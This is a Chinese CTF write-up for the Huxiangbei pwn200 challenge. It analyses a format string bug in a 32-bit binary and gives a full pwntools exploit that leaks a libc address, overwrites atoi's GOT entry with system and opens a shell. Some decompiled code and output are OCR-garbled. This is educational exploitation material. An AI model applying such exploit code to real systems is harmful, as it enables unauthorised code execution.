niexinming / 2017-12-03 00:10:17 / 浏览数 2393 安全技术 CTF 顶(0) 踩(0)

```
湖湘杯的pwn比赛很有趣,我做了pwns200的题目,感觉不错,我把wp分享出来,pwns的下载链接见附件把pwns100直接拖入ida中:
main函数:

int __cdecl main(int argc. const char ××argv. const char ××envp)

setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
sub_80485CD();
return 0;

sub_80485CD函数:
```

```
E IDA VIEW A E 4E1 SCHOOCOHO A W M IEW VIEW I
 1|int sub 80485CD()
 2 {
 3
     char v1; // [sp+1Bh] [bp-4Dh]@3
     char buf; // [sp+1Ch] [bp-4Ch]@1
     int v3; // [sp+5Ch] [bp-Ch]@1
 6
 7
    U3 = \times MK_FP(\__GS\__, 20);
 8
     memset(&buf, 0, 0x40u);
 9
     while (1)
10
11
       puts("WANT PLAY[Y/N]");
12
       if ( getchar() != 89 )
13
         break;
14
       v1 = getchar();
       while ( ∪1 != 10 && ∪1 )
15
16
       puts("GET YOUR NAME:\n");
17
       read(0, &buf, 0x40u);
18
19
       LOBYTE(\cup 3) = 0;
20
       puts("WELCOME ");
21
       printf(&buf);
22
       puts("GET YOUR AGE:\n");
       read(0, &buf, 0x40u);
23
       if ( atoi(&buf) > 60 )
24
25
         puts("OLD MEN!\n");
26
    return ×MK_FP(__GS__, 20) ^ ∪3;
27
28]
```

在sub_80485CD函数可以看到输入的数据直接进入了printf函数中,所以这个肯定是一个格式化字符串漏洞先运行一下程序看一下这个程序干了啥

```
h11p@ubuntu:~/hackme/huxiangbei$ ./pwne
WANT PLAY[Y/N]
GET YOUR NAME:
%X
WELCOME
 ffb24e4c
 GET YOUR AGE:
10
WANT PLAY[Y/N]
GET YOUR NAME:
&p. &p. &p
WELCOME
0xffb24e4c.0x40.0xf763c2d8
GET YOUR AGE:
20
WANT PLAY[Y/N]
再看看程序开启了哪些保护:
h11p@ubuntu:~/hackme/huxiangbei$ checksec pwne
 [*] '/home/h11p/hackme/huxiangbei/pwne'
      Arch:
                    i386-32-little
      RELRO:
                   Partial RELRO
      Stack:
      NX:
h11p@ubuntu:~/hackme/huxiangbei$
这个程序开了Canary和栈不可执行
这个题目的思路和http://blog.csdn.net/niexinming/article/details/78512274
差不多,唯一不同的是上一个题目提供了system函数,这个题目要从libc中找system函数,所以首先通过printf打印_libc start main函数这个地址,然后根据偏移计算libc
{atoi_got_addr: system_addr})把atio的地址覆盖为system的地址,就可以getshell了
我的exp是:
from pwn import *
def debug(addr = '0x0804867E'):
  raw_input('debug:')
  gdb.attach(r, "b *" + addr)
def base_addr(prog_addr,offset):
  return eval(prog_addr)-offset
\#localsystem = 0x0003ADA0
context(arch='i386', os='linux', log_level='debug')
r = process('/home/h11p/hackme/huxiangbei/pwne')
#r = remote('hackme.inndy.tw', 7711)
elf = ELF('/home/h11p/hackme/huxiangbei/pwne')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
def exec_fmt(payload):
  r.recvuntil('WANT PLAY[Y/N]\n')
  r.sendline('Y')
```

r.recvuntil('GET YOUR NAME:\n')

```
r.recvuntil('\n')
  r.sendline(payload)
  info = r.recv().splitlines()[1]
  print "info:"+info
  r.sendline('10')
   #r.close()
   return info
autofmt = FmtStr(exec_fmt)
r.close()
r = process('/home/h11p/hackme/huxiangbei/pwne')
atoi_got_addr = elf.got['atoi']
print "%x" % atoi_got_addr
system_offset_addr = libc.symbols['system']
print "%x" % system_offset_addr
payload1="%35$p"
#debug()
r.recvuntil('WANT PLAY[Y/N]\n')
r.sendline('Y')
r.recvuntil('GET YOUR NAME:\n')
r.recvuntil('\n')
r.sendline(payload1)
libc_start_main = r.recv().splitlines()[1]
libc_module=base_addr(libc_start_main,0x18637)
system_addr=libc_module+system_offset_addr
print "system_addr:"+hex(system_addr)
r.sendline('10')
payload2 = fmtstr_payload(autofmt.offset, {atoi_got_addr: system_addr})
r.recvuntil('WANT PLAY[Y/N]\n')
r.sendline('Y')
r.recvuntil('GET YOUR NAME:\n')
r.recvuntil('\n')
\verb"r.sendline(payload2)"
r.recv()
#r.sendline('10')
r.sendline('/bin/sh')
r.interactive()
r.close()
```

效果是:

```
| Company | Sent Coverage | Se
```

pwn200.tar.zip (0.709 MB) 下载附件

点击收藏 | 0 关注 | 0

上一篇:一种全新的APP注册登录验证技术方案 下一篇: Burp Suite 1.6 Cr...

1. 0 条回复

• 动动手指,沙发就是你的了!

登录后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板